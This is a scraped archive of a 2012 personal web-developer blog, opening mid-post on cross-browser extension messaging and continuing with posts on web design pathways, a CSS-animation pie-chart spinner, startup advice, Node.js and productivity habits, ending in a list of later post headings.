As mentioned, the next problem is how to communicate betwixt background page and content script. The concepts and APIs are again different, as is the persistence of the connection.

Chrome has two methods of communication between the two aspects of the extension. One is a simple, one-off message passing API with optional response callback. The other is a persistent connection using a Port object with a DOM-like event API (e.g. port.onMessage.addListener), although it is sufficiently different as to be annoying but close enough to be be confusing.

Firefox uses the previously mentioned worker port which has a nodejs-style EventEmitter that exposes on and emit methods. I much prefer this style, for brevity as much as anything else. Replicating this style in the new library seems to make sense as it fits with the other, previously considered, API styles.

Safari uses the concept of a Proxy interface, similar to Chrome’s Port, that allows messages to be sent and listened for using another event listener API, this time much closer to the DOM API, including the option to fire during the capture phase. However, in Safari a Proxy is not an object but a set of methods that a number of objects implement. That is, you can attach handlers to a tab, window or the Safari application itself. The exact object used for dispatching events changes according to which side of the background page/content script divide (although the two objects are annoyingly similarly named). Since it’s possible to detect which side we are on this shouldn’t present to much of an issue.

Conclusion, of sorts

It’s important also to say that this is, by far, not the full extent of the differences. The limitations of the sandbox model for content scripts differs from browser to browser, as does the way in which you extend the browser’s native UI. Other APIs are missing in some browsers (notably hotkeys in Chrome & Safari – although they are on the way, at least in Chrome), so there would have to be a way of filling these gaps too.

I should mention, I want this library to be run-everywhere. It should work equally well when included in the background page as when injected as a content script. Absolutely ideally I should be able to write and extension once and run it everywhere, but that’s a pipe dream. Some collaboration between the browser vendors on how to implement extension APIs would make this possible, especially as I believe that extensions, and apps for Chrome, are going to become increasingly important. I really don’t want to see a divergence of platform capabilities so that what an extension can to in Chrome far out-guns what’s possible in Safari. Safari was late to the game in implementing extensions and their API is very, well, Appleish. Firefox’s is, in parts, very Mozillaish (right down to the multiple other ways of making extensions, all not mentioned here). Perhaps it’s another case of Google not having to stick to precedents set by legacy codebases that may well be found in the other browsers (especially Firefox).

Edit: the library, currently in the early stages of development, can be found on github.

Iteration

2012-06-28T00:00:00+01:00

I can’t stick with a personal site design for more that five minutes it seems. It might be pink next time you’re here.

I’m going for short form posts, with a focus on code and techniques. Quick hints and such. Hopefully that’ll allow me to write more often.

Calluna & Calluna Sans are lovely.

Design for the Web: Pathways

2012-05-22T00:00:00+01:00

This is the second article in a series looking at the fundamentals of designing for the web. This time, I’m looking at links between information to figure out what makes great pathway design.

In the first article I looked at what’s different about the web, and designing for it, compared to more traditional media like print or industrial design. The two key elements are structured information, not unique to the web, and the links between information.

What makes great pathway design?

The first thing that comes to mind when we talk about designing pathways between information is site navigation. I’ve deliberatly tried to avoid references to ‘navigation’ becuase, while it is a good term, it has the connotations of large menus and dropdowns, both of which are examples of poor pathway design.

I use the word pathway becuase I mean the steps taken by a user in getting from seeking a piece of information to finding it, or in discovering related content.

Great pathway design must make the process of seeking and discovery as simple and intuitive as possible.

In a site with little content this is simple – you have five pages? Clearly display links to those five pages and make them easy to click. But what about an enormous site with many layers of content? Displaying everything is absolutely the worst thing to do.

Here’s an example of when it goes wrong, from Direct.gov.uk.

The high density of information, with many elements vying for attention, makes this site horribly unusable. The site’s header is also vibrant orange, which doesn’t help.

There’s no clear information heirachy and, as the next screenshot will show, your eye is drawn away from most important content on the page by pullout boxes.

Are you drawn to the main content – the list of key areas of the site – or to the colourful social media icons in the lower left?

Certainly the icons are not where you should be looking.

This is poor pathway design.

One option on a content heavy site is search, and gov.uk has done it very well.

Front and center is an intelligent search bar that makes suggestions as you type. Beneath is roughly the same information found on Direct.gov.uk, but this time it’s given room to breath, and the eye is not distracted by all manner of irrelevant page-stuffing.

It works becuase, even if you know what you are looking for, it’s much faster to type than to read a list looking for the correct option.

A search bar also allows the user to express the information they are looking for in their own terms – it doesn’t require them to have the same mental model of the information as the person who ‘designed’ the page, as seach will pick out keywords from the actual content, not someone’s summary of it.

There are other clues on this page that thought has gone into pathway design; the Browse section is sorted alphabetically and is kept short, and Popular topics are highlighted to the right.

Gov.uk serves the exact same content as Direct.gov.uk, but which site would you rather use?

Gov.uk is a joy to use because of great pathway design and thoughtful planning.

Next time I’ll go further into gov.uk and explore what they’re doing to build pathways between related information, and to assist users in getting what they need.

Thanks for reading.

What cultural web issue would you like solved, tomorrow?

2012-05-15T00:00:00+01:00

The web is experiencing growing pains, with legistators across the world try to catch up with the unparralled speed of communucation and change. Some feel strongly that internet and the web that sits atop it should be regulated not by government, but by its community. Others would have it tightly locked down with many of the same (or tighter) restrictions than in the ‘real’ world.

I asked Twitter for thoughts; I’ll quote them here, and respond. If you have anything to add to the discussion, just email me.

We begin with file-sharing.

Legalise file sharing! The [opposition are] making a it bigger problem than it is. I think legalising it would make the content-creating industry find better ways of getting their content to us… file sharing is the symptom of a system which is already broken.

davidharrison92

I find this issue of file-sharing fascinating. An over-simplified viewpoint might say, “I’m entitled to lend a CD to a friend who could rip it to her computer – so why can’t I share those files over the internet?”

But it doesn’t take much to realise that a key difference here is scale – I can’t realistically share a CD with the world, but I certainly can share a torrent file.

Dave here picks up on the issue being symtomatic of a greater problem, and I think that’s definitely true. Regardless of the moral implications, the traditional media publishing is broken, but the solution isn’t clear cut. That said, there are many who’ve embraced the changed and are benefiting greatly from it. Seth Godin is a perfect example.

The change in content distribution model has shifted power away from the publishers into the hands of the author and the consumer. Needless to say, I’m all for that.

Andy Higgs, a fellow Multipacker, brought up something that could help solve this problem. Here’s his tweet, vertabim.

Ubiquitous, cheap, standard, connected micro payment systems, because it is an economic floodgate for certain services.

aajhiggs

I can’t wait for this to be widely available. I already love services like Gumroad that are designed to handling payment for anything you can share as a link, but it would be nice to cut out the middle man and have seamless payment from one person to another.

I should say, I’m totally naive to the tax implications of this, so it could be a pipe dream!

Rich Cunningham (@rythie) pointed out that it “seems like we’ve had a decade of people trying”. Perhaps this is a very difficult problem, although I suspect it has to do with the deals any disruptive startup in this space would have to make with the banks; monolithic institutions that are (rightly?) resistant to change.

There’s evidence things are changing though, with companies like Stripe making waves; waves that are, to a great extent, limited to the US right now.

Do you have an opinion? Email me – I’d love to hear your thoughts – if you have something interesting to say, I’ll publish it here.

Design for the Web: Fundamentals

2012-05-03T00:00:00+01:00

In a series of short essay-style articles looking at designing for the web, I want to go back to fundamental concepts and evaluate, as a learning experience for myself, what it is to design for the web. This is the first.

What is fundamentally different?

The first question I’d like to ask is this: what is fundamentally different about the web? What about it is distinct from creating things that are held or felt or operated?

Definitions of design abound, and I’m willing cliché when I quote Steve Jobs, on Apple’s products:

Most people think [design] is how they look. But it’s not… it’s how they work.

So what is it that is different about how the web works in comparison to any other medium?

Anything that carries a message, that is, anything that does not serve a purely aesthetic purpose, is holding information, and it is the purpose of the design to convey that information. It is the job of the designer to choose the best, or most suitable (in a lot of cases), way to convey that information to another person.

Often the information that the designer seeks to convey is structured; think, perhaps, of a train departure board at a large station. What are the viewer of that board’s priorities? First, they look for where are they going – the destination is very important, as it holds the key to all the other information. Next is the time and the platform. Other information is secondary to these.

This information is structured; the time and platform relate to the destination of a particular train, and will be many trains going to many destinations. A design that makes it trivial to finding a desitination, and associated time and platform, will be successful.

On the web we will, potentially more often, be conveying just such structured information: a database of users; a directory map; an article with headings and paragraphs. Choosing the way this is information is displayed, or relvealed, is a challenge across all media. This is not unique, but it is one half of the puzzle.

The other half is almost unique to the web; we are designing pathways, from one piece of information to another. The internet allows an uprecedented level of connectivity with others, but it also provides astoudingly fast transitions from place to place, dataset to dataset, article to article. The links between these items, the hyperlinks, are the second piece of the puzzle.

There are two obvious places where the pathways are important: site navigation and page links. For a site with a breadth and depth of information, navigation is a constant challenge; one that is not always successfully overcome.

When we design for the web, we are designing to convey structured information and the pathways to and from other datums. These pathways are, to return to our quotation, how the web works.

In the next article, I want to look at the significance of pathways and figure out what makes great navigation and information-linking design.

Thanks for reading.

CSS Triangles + Animations = Pie Chart Spinner

2012-05-01T00:00:00+01:00

tl;dr With CSS Masks, Animations, Triangles and some sweat, you can make this. Needs Webkit (sorry).

Here’s the story:

Stuart Langridge (@sil) threw down a challenge (possibly by accident) on Twitter:

anybody think of a good way to do a circular countdown timer via css animations? An animated gif is doing my head in.

it feels like I ought to be able to do this with radial gradients, if I were clever enough :)

Changle accepted, Mr Langridge. A circular countdown timer? Consider it… on the way.

My initial thoughts were:

animate a rectangle’s height and width to trace the outline of a circle… but that was stupid.
have a number of triangles that appear in sequence (much like Stuart’s own method), but I couldn’t see how to animate it.

Since filling in the circle was essentially drawing an increasingly wide segment, and as there’s no way to do this in CSS, I wondered if I could use the CSS triangle technique and a mask to achieve the effect.

For those unfamiliar with it, the CSS triangle technique is styling an element such that is has 0 height and width, but thick borders, and so by making all but one border transparent, you make a triangle. Like so:


.triangle { /* You'll want this to be a block level element */
  width: 0px; height: 0px;
  border-width: 20px;
  border-style: solid;
  border-color: transparent;
  border-top-color: black;
}

Each border segment is a quarter of the overall area of the shape, and I reckoned that I could sequentially fill in each segment as needed with CSS animations. Hopefully the sketch below will illustrate.

The problem with this is that all of the filled segment is visible, so I needed to mask the area where there shouldn’t be any ‘fill’ with the background colour of the loader. I’d need three elements - a container, an ‘inner’ (which would be the filled segment) and a mask. The next diagram should show this better.

But there’s a problem… how do you make the whole thing a circle? Border radius? I tried some combinations of radii, overflow hidden and background clip, but none of those combinations seemed to work. In the end I settled for a CSS mask using a radial gradient. That was a mission in and of itself, but that’s another story…

With some CSS animation magic I had the basic mask & segment animation working. You can see a demo here.

The animation CSS for the inner looks something like this:


@-webkit-keyframes inner {
  0% {
    -webkit-transform: rotate(-45deg);
  }
  25% {border-left-color:transparent;}
  26% {
    border-left-color:  rgba(200,200,200,1);
  }
  50% {border-bottom-color:transparent;}
  51% {
    border-bottom-color:  rgba(200,200,200,1);
  }
  75% {border-right-color:transparent;}
  76% {
    border-right-color:  rgba(200,200,200,1);
  }
  100% {
    -webkit-transform: rotate(315deg);
    border-left-color:  rgba(200,200,200,1);
    border-bottom-color:  rgba(200,200,200,1);
    border-right-color:  rgba(200,200,200,1);
  }
}

The mask, like this:


@-webkit-keyframes mask {
  0% {
    -webkit-transform: rotate(-45deg);
  }
  75% {
    -webkit-transform: rotate(-45deg);
  }
  100% {
    -webkit-transform: rotate(45deg);
  }
}

Next, I had to figure out how to move the mask so that the fill could continue it’s journey round the circle. I tried to animate the mask to be a narrower and narrower segment, but I found I couldn’t do it (maths not being my strong point), so I brute forced it… with a second mask.

This mask would sit in the top-right segment of the circle, and would only appear when the fill had gone past 25%. Since it would be on top of the first mask, and the same colour as the fill, it could hide the mask moving round the circle, and create the illusion of a decreasing segment.

A mask–mask.

The animation CSS for this mask looks like:


@-webkit-keyframes mask-two {
  0% {
    opacity: 0;
  }
  25% {
    opacity: 0;
  }
  26% {
    opacity: 1;
  }
  100% {
    opacity: 1;
  }
}

You can see the first working version of that in Demo Two.

After that it was improvements and tweaking. There are too many little things that would take way to long, but the end product I’m pretty happy with. I’m sure there’s parts that could be much better!

Check it out here on a recent Webkit browser.

Thanks for reading, that was a long one – I’ll write a more concise tutorial format version soon, perhaps.

PS. I then went a wee bit crazy with Webkit filters and animation, and created this monstrosity. That baby needs something that’s Chrome Canary-ish or more recent. Woo.

Users are the Inspiration

2012-04-22T00:00:00+01:00

It means a huge amount to me that I’m working on a product people use every day, and I feel a great deal of responsibility to each and every one of our users.

There are two reasons you should put in the time to answer support emails: because you want to fix bugs in your product, and because it’s one of the few times you actually get to talk with your customers (don’t forget, they are customers too).

That interface time is invaluable.

There are two reasons you should put hours into fixing that really rare bug: because you’re a hardcore perfectionist, and because you care about making your product an incredible experience for all of your users.

Build it great; they will come and they will share.

There are two reasons you should treat all your users with the same time and attention: those that are paying you are the reason you can feed yourself, and those who aren’t paying you yet, aren’t paying you yet.

Happy users turn into paying users.

For me, users are the inspiration.

How to Begin Working at a Startup

2012-04-19T00:00:00+01:00

I’d like to share a few things I’ve learned just in the small time I’ve been at Buffer, where I started last week.

This could be advice for anyone joining a new team – and I’ll try to keep it punchy and to the point.

Do your research

Before you start, find out what technologies you’ll be working with. This will help you hit the ground running, and means you can talk on near the same level as those who are intimate with the codebase. I was familiar with all the technologies Buffer use except Backbone.js, so in the few days before I started I read tutorials and worked through some examples. Fortunately, I haven’t yet touched the Backbone stuff!

This should be obvious, but I’ll say it anyway: if you’re going to be working on a product, you’d damn well better be using it, or at least know what it does and why.

Jump in

As soon as I had access to the repositories, I cloned them and dived into the code. I was looking for important things like dashboard, button, account, settings.

Search for anything you know is a keyword within your product, find it and take a look. Get an idea of how data flows through the application. Make a note of anything you don’t understand or want to know more about, it’ll be useful later.

You don’t have to learn the whole thing straight away, and honestly, you won’t be able to, but getting a general overview is invaluable.

Set small goals. Complete them.

I learned this the hard way. After a hugely productive first couple of days, I saw the deployment of my first Buffer code; I’d rewritten the Buffer button, with a few million impressions per-day. It went out, it worked; I was ecstatic. I could take on the world.

But I lost sight of the small goals. Next up was tackling the browser extensions. The goals I set myself in Sprint.ly were “make the chrome plugin more awesome” and “refactor the extensions & button to use the same Javascript”. Huge, lofty and very non-specific.

I had two highly unproductive days, felt terrible and emailed Joel & Leo. While writing the email I figured it out; small goals. Leo was fantastic and emailed me the next day with a specific task. In a few hours it was done and I was onto the next thing.

Aim for the achievable.

More to come…

This is just the beginning of my time at Buffer, and there’s a huge amount I’ve yet to learn. Joel, Leo & Tom are awesome: dedicated, enthusiastic and talented (a dangerous combo!), and it’s fantastic to be part of that great team.

Be Responsible

2012-04-02T00:00:00+01:00

A great music teacher once described to me the important distinction between a player and a musician, and how I should always strive to be a musician. It has stuck with me ever since.

The player happily sits in rehearsals, plays the notes on the page and is technically good. There’s nothing to complain about, but undoubtedly something is missing. The player would never move you to tears with their performance.

The musician listens and responds to others around her, is engaged with the music, takes an active interest in improving herself and pours time and energy into her craft. For the musician, the player is the baseline, and emotion is a key difference. The musician takes responsibility for the music she is part of creating.

When it comes to mastery of code, the analogy of a craftsman is good to a certain degree, but it falls down when you consider the pace of change of this fields. A craftsman will hone his technique for many years, learning from a master, often using the same techniques for all of that time. Clearly, that concept does not and cannot apply to technology and code, not least because its full history extends back a mere 60 years.

I prefer the analogy of the player and the musician. The baseline is to be a top-notch player: technically strong; good coding style and practices; doing the necessities well. From there, strive to be like the musician: engaged with your work; taking an active interest in self-improvement and learning; responsive to changes in best practice; responsible for your end product.

That last point, responsibility, may be the most important. Be a musician, be a craftsman. But be responsible for what you create.

You'd have invented Facebook

2012-03-30T00:00:00+01:00

If you guys were the inventors of Facebook, you’d have invented Facebook.

This quote, from The Social Network, hints at the difference between action and inaction. I find myself saying, “I had that idea months ago”, nearly always followed by, “but I did nothing.” It’s irrelevant what the idea is, it means nothing if you don’t act upon it.

This is why being able to code is so fantastically empowering. It’s a privilege to be able to put something into the world just because you want it to exist. That said, you cannot merely will things into existence. After the 1% inspiration comes the 99% perspiration.

Even with the best idea in the world, if you do not, you get not.

Pleasant Irony

2012-03-30T00:00:00+01:00

Thanks to Richard Cunningham, who submitted it, my post on Consumption Addiction did rather well on Hacker News. Nothing of mine had ever been on there, so it was a (pleasant) surprise to see it at #4 for a good hour, and on the front page for some hours after.

I was totally blown away by the response, particularly the comment critiquing the article that was longer than what I’d actually written! It was interesting to note that I seemed to touch a nerve, perhaps it’s a serious issue that needs more research and explanation.

I find it ironic however that Hacker News is precisely the kind of place where people lurk, consuming the fruit of other’s labours. My hope would be that the article turns people from spending most of their time on Hacker News, or any other fixation, to spending just some time on it. I’m not saying reading interesting articles is bad — there’s a time and place for all of it. Everything in moderation.

I promise to shut up about consumption now. For a while.

Consumption Addiction

2012-03-28T00:00:00+01:00

Extra Credits is a weekly video blog that takes a deep, analytical look at games and the games industry, but in a friendly and engaging cartoon package. I love it. In season 3, they spent two episodes discussing game addiction; the second of which was an extremely honest and very moving story told by the show’s writer, James Portnow, about his struggle with an addiction to gaming. I found it fascinating — it’s 20 minutes long, but I really think you should watch it.

It made me think about addiction and compulsion, and so I thought I’d share a habit I’m trying to break: consumption addiction.

I don’t mean food; I mean consumption of information. I mean podcasts, videocasts, blog posts, tutorials, talks and any other form of digital content you care to name, including Twitter.

The internet makes it stunningly easy to access a wealth of information on a very large scale, and more is added faster than is consumable. While this is one of the reasons I love the internet, I fell a trap where I was consuming so much I wasn’t creating.

On the surface, it feels great; learning, gaining knowledge and understanding is fantastic, and that’s why it’s so tempting to keep on consuming, even when I felt the nervousness that comes with creative drought.

At worst, I’d spend many hours in a day watching every single video I could find containing a few of my favourite people (across a variety of topics): Christopher Hitchens, Dan Dennet, Richard Dawkins, Ryan Dahl, Paul Irish, Sam Harris, Jason Fried and others. I’ve watched some talks, lasting over an hour, 4 or 5 times.

I would have days where I’d become very depressed because, after all that, I hadn’t created anything. Nothing had come of it and it had no tangible benefit. I realised I was consuming merely to pass the time, and using it as a way to escape from real work.

This is where my Create More Than You Consume post takes over. Now, I’m trying my best to create something every day, blog as often as I can and generally be a source rather than a destination for the information on the internet. I still value consumption extremely highly — there’s nothing I enjoy more than learning something new — but I need to be a creator, not a consumer.

Responsive Workflow

2012-03-27T00:00:00+01:00

Responsive workflow is a hot topic so, naturally, I thought I’d weigh in with my thoughts. But I’d like to clear somethings up:

Firstly, I’m not entirely happy calling it ‘responsive’ work flow, because it’s just workflow. Everything I make is responsive (or, at least, adaptive), so being explicit about responsiveness is tautology. Secondly, workflow is the never the same from project to project, so this is just a general idea of how I work.

Sketch

In general, I’ll sketch out as many ideas as I can. I’ve started using a six-up technique, gleaned from Robbie Mansons’s talk at New Adventures 2012 (and re-brought to my attention by Andy Higgs). You draw six boxes, quickly and roughly sketching six different solutions to a problem. I’ll do this twice, take four of the best, and repeat, mutating existing ideas. This way I can quickly iterate towards a solution.

Whilst sketching, in my mind I try to have a picture of what the design would look like at many different sizes. Sometimes I’ll sketch these layouts too.

Code

Most of the time, I’ll then jump straight into code, putting together a basic structure & layout for the page. This will nearly always be fluid. While I don’t generally use grids, perhaps I should.

Typography

Typography is absolutely fundamental for a great looking website. Choosing the right typeface, size & line-spacing in order to establish a vertical rhythm is key, and one of the first things I do. I use Tim Brown’s Modular Scale to generate a harmonious grid, and then stick to these measurements as I move into Typecast. All sizes are in ems.

Typecast is a great tool, letting you use actual web fonts from Typekit, Fontdeck and the Google Font Directory live. It’s an increasingly important tool for me. Sign up for the beta — it’s definitely worth a try.

Photoshop

I’ll also often jump in and out of Photoshop; it’s far quicker to throw together layouts and prototypes than in code. You could almost say Photoshop is a sketch tool. I never do pixel-perfect mockups.

Breakpoints

Where would we be in a blog post about responsive design without talk of breakpoints? Quite far, it seems.

To me, breakpoints are exactly that. Wherever your design breaks, you’ve got a breakpoint. I’ll try to fix it with CSS first, with a media query as a last-resort. Don’t project your design onto specific devices, because that defeats the whole purpose of responsive design: device agnosticism.

Other stuff

Chrome Web Inspector is invaluable for making tweaks to a page before moving back to code. I’m not very comfortable with Firefox’s inspector, but they’re innovating in that area so hopefully it will be useful in the future.

Other browsers are also vitally important. Device agnosticism applies to browsers too, so don’t be snooty. Opera’s important too.

I hope this helps you when you’re working on a responsive design. Thanks for reading!

Create More Than You Consume

2012-03-26T00:00:00+01:00

I recently read Chris Wake’s post on Quora entitled Habits of Ineffective People, and it seriously jarred me. I saw too much of myself reflected; it perfectly expressed the rut in which I’d found myself. Consuming far more than I’d been creating, I’d spent too much time worrying about vanity metrics and been lazy. Time to change.

I’ve come up with a set of rules for myself. They are pinned to the wall by my desk so that I never forget them.

I hope they help you too, particularly if you find yourself in the same situation.

You can also grab a desktop size version. Email me if you’d like it even bigger.

The Hard Stuff

2012-03-24T00:00:00+00:00

Why are so many startups focusing on social and sharing? These aren’t hugely difficult problems when you think about it, so who’s taking on the hard stuff?

Maybe this is the issue: Eric Ries’ definition of a startup is “a human institution designed to deliver a new product or service under conditions of extreme uncertainty”, so it follows that with the harder problems the uncertainty is even greater and that this is what puts people off.

There have been a few posts floating around the intertubes on this subject, some even suggesting a few of their own ideas, so here’s a few of mine. In an ideal world, I’d try one. Maybe.

There are probably startups working in these areas, but I haven’t heard of them, so I guess they could be doing a better job!

Publishing (music & literature)

The publishing industry is similary screwed up. I can see some serious potential out there for canny entrepreneurs to do some great stuff in this space. Bloggers like Seth Godin, comedians like Louis CK and the bands letting fans pay what they like have proved that there is room for innovation.

There’s even more space for work in the book industry, and I’m seriously interested in doing it myself. Problem is: I’d have to work with authors. Nightmare.

Education

The current university education model, in the UK at least, has serious issues. I’ll be writing about this more in the future, but for now let the following sufice: the system’s broken, and it ain’t gonna change anytime soon. Not of its occord, and not without a push.

Printers

Home/office printers are (in the main) a load of crap. I have a vision of a gorgeous, monotone, fast, usable, economic and reliable printer with reasonable ink (or other techonology) costs. I would pay good money for that — I don’t need colour and scanning and faxing and tea-making and breakfast-cooking and massaging and psychotherapy.

OK, so maybe I do need the last few (you decide which), but wouldn’t the rest be nice?

Those are just a few of the ideas I’ve been toying with. There are others, like massive data and life optimisation, and I might have some news kinda on that front soon.

If you’re interested in working on any of this with me, then email me here.

A Short Intro to Node.js

2012-03-20T00:00:00+00:00

I gave a short talk at the Multipack’s Show & Tell event in February about a favourite development stack of mine: Node.js and MongoDB, deployed on Heroku. Here I’ll present why you might want to give Node a try, and later move on to Mongo.

Node.js is a platform built on Google’s V8 Javascript engine. At the lowest level it’s a set of event driven, non-blocking network APIs. But what does that actually mean? Let’s have a look…

In simple terms Node provides server-side Javascript, allowing you to do everything you could with PHP, Ruby, Python or other server-side language.

If you’re a PHPer, you’ll have seen this kind of code before:


$data = mysql_query("SELECT * FROM users");

But do you know what happens when this line is called?

Nothing. Your code, your app and your server do nothing.

That’s an over-simplification, but for our purposes it’s workable. When PHP requests some data from a mysql database server, the thread in which that code it running ‘blocks’. This means that nothing else happens in that thread until the data returns, and then the code continues running. That’s bad, partially because it could take a very long time. If you’d like to know more, try here.

Node.js is different because it is asynchronous, event-driven & non-blocking. This means that after a request for data is sent, Node carries on processing your code, and then goes into an idle state until the data is received. This makes it highly performant in traffic-heavy situations - which is always good.

If you’re familiar with Javascript already then you’ll feel right at home with Node, as the browser also runs an event loop. Things like setTimeout(…) work exactly as you’d expect.

I hope this quick summary encourages you to give Node a try, it’s a great platform. There’s much more documentation and video introductions available on Node’s website. I’ll tackle Node with Mongo soon.

Thanks for reading.

In the Zone

2012-03-19T00:00:00+00:00

For me, being “in the zone” is very important if I want to get any significant amount programming done. It’s commonly said that it may take 30 minutes to get to a state of concentrated focus, but a mere 30 seconds of distraction to lose it.

I’ve been trying to find a ways of optimising how I get into such a zone, and, while this is totally un-scientific, here’s 3 things that work for me. Why not see if they’ll work for you?

Hydrate

I have a big glass of water nearby at all times. Humans need water, and I’m no exception. Neither are you. Probably.

Silence / Music

Sometimes I work better in silence, and other times with music.

Living in halls, it’s not really an option to ask everyone to be quiet, so I tend to don a pair of over-ear headphones, plugged into nothing. You could also try very low-level white noise, or an ambient sound like the sea.

When it comes to music, no lyrics is the single most important factor. If I’m coding, the last thing I want is to be hearing of someone else’s troubles. I (like Notch) favour minimal house (Trentemøller), ambient/breaks (Hybrid Soundsytem 01) or drum & bass. Deadmau5 is good too.

Lights

This may be a strange one, but if I really want to focus on some code then the lights are going off. Jeff Atwood has written some great stuff on this, and I pretty much follow his advice. Light behind the screen, ambient lights off. The strip lighting I have (and wish I didn’t) is absolutely the worst kind and is also in the worst possible place, directly behind and above my head, so it has to go off. My Macbook’s backlit keyboard helps too.

I hope you get something from what I’ve discovered to help you focus for a hardcore code session. I have a whole different set of criteria for design work, and I’ll cover them another time, perhaps.

Thanks for reading!

Tom Ashworth - phuu.net

casper: helpers and handlers for Express

Install

Example usage

Basic handlers

Database callbacks

casper.db

Checks & filters

capser.check.body

capser.rm.body

casper.allow.body

Feedback welcome!

distra: static server & reverse proxy

Why?

Install

Configuration

Adding a host

Try it:

Removing a host

The config file

Tips

Ports

Portsaway!

Finally

Keeping Open-Source Secrets

.gitignore

Private fork

Environment-agnostic

In the cloud

Hybrid approach: best of both

Summing up

Respond

useful js: snippets

Log arguments

Set ‘this’ in setTimeout

Call a function from setTimeout

Filter items from an array

Operate on an array

Easy function defaults

Further reading

A year to remember

University

frittr

Show & Tell

Multipack

Buffer

App.net

Brighton

The future

Please

Code Sketching

Sketching?

Developer UX

Guessability

Arguments & consistency

Data

Designed code

useful js: curry and bind

Currying

Yup, but how does it work?

Infinite arguments

Ninjafy

Bind

Binding & currying

DIY curry binder!

Real examples

setTimeout

pubsub

And we’re done

Components & the Shadow DOM

Initial reading

What I learnt from reading…

Why’s that cool?

Ooh, tell me more…

So what’s it all for?

Experimentation

What’s it doing?

shadowify

groupify

A little filler